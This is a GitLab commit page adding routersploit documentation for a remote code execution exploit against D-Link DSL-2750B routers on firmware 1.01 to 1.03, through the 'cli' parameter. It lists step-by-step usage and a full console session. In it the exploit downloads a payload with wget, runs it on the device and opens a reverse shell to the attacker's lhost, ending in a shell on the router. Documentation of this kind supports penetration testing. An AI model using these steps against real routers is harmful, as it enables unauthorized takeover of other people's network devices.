Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
d64359b8
Unverified
Commit
d64359b8
authored
6 years ago
by
Marcin Bury
Committed by
GitHub
6 years ago
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Adding documentation for D-Link DSL2750B RCE module (#442)
parent
dfb9e417
master
…
v3.4.4
v3.4.3
v3.4.2
v3.4.0
v3.3.0
v3.2.0
v3.1.0
No related merge requests found
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
78 additions
and
0 deletions
+78
-0
dsl_2750b_rce.md
docs/modules/exploits/routers/dlink/dsl_2750b_rce.md
+78
-0
No files found.
docs/modules/exploits/routers/dlink/dsl_2750b_rce.md
0 → 100644
View file @
d64359b8
## Description
This module exploits remote code execution vulnerability in D-Link DSL-2750B devices through "cli" parameter.
Vulnerable firmwares are 1.01 up to 1.03.
## Verification Steps
1. Start `./rsf.py`
2. Do: `use exploits/routers/dlink/dsl_2750b_rce`
3. Do: `set target [RouterIP]`
4. Do: `run`
5. If router is vulnerable, it should be possible to execute commands on operating system level.
6. Do: `set payload reverse_tcp`
7. Do: `set lhost [AttackerIP]`
8. Do: `run`
9. Payload is sent to device and executed providing attacker with the command shell.
## Scenarios
```
rsf > use exploits/routers/dlink/dsl_2750b_rce
rsf (D-Link DSL-2750B RCE) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (D-Link DSL-2750B RCE) > run
[*] Running module...
[+] Target appears to be vulnerable
[+] Welcome to cmd. Commands are sent to the target via the execute method.
[*] For further exploitation use 'show payloads' and 'set payload <payload>' commands.
cmd > show payloads
[*] Available payloads:
Payload Name Description
------- ---- -----------
bind_tcp MIPSBE Bind TCP Creates interactive tcp bind shell for MIPSBE architecture.
reverse_tcp MIPSBE Reverse TCP Creates interactive tcp reverse shell for MIPSBE architecture.
cmd > set payload reverse_tcp
cmd (MIPSBE Reverse TCP) > show options
Payload Options:
Name Current settings Description
---- ---------------- -----------
lhost Connect-back IP address
lport 5555 Connect-back TCP Port
cmd (MIPSBE Reverse TCP) > set lhost 192.168.1.4
lhost => 192.168.1.4
cmd (MIPSBE Reverse TCP) > run
[*] Using wget method
[*] Using wget to download binary
[*] Executing payload on the device
[*] Waiting for reverse shell...
[*] Connection from 192.168.1.1:41933
[+] Enjoy your shell
ls -la
drwxrwxrwx 15 admin root 224 Mar 11 2013 .
drwxrwxrwx 15 admin root 224 Mar 11 2013 ..
drwxr-xr-x 2 admin root 2554 Mar 11 2013 bin
drwxr-xr-x 2 admin root 3 Mar 11 2013 data
drwxr-xr-x 4 admin root 2482 Mar 11 2013 dev
drwxr-xr-x 12 admin root 779 Mar 11 2013 etc
drwxr-xr-x 6 admin root 690 Mar 11 2013 lib
lrwxrwxrwx 1 admin root 11 Mar 11 2013 linuxrc -> bin/busybox
drwxr-xr-x 2 admin root 0 Jan 1 1970 mnt
drwxr-xr-x 5 admin root 56 Mar 11 2013 opt
dr-xr-xr-x 69 admin root 0 Jan 1 1970 proc
drwxr-xr-x 2 admin root 270 Mar 11 2013 sbin
drwxr-xr-x 11 admin root 0 Jan 1 1970 sys
lrwxrwxrwx 1 admin root 8 Mar 11 2013 tmp -> /var/tmp
drwxr-xr-x 4 admin root 38 Mar 11 2013 usr
drwxr-xr-x 16 admin root 0 Oct 19 20:36 var
drwxr-xr-x 5 admin root 2801 Mar 11 2013 webs
```
This diff is collapsed.
Click to expand it.
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment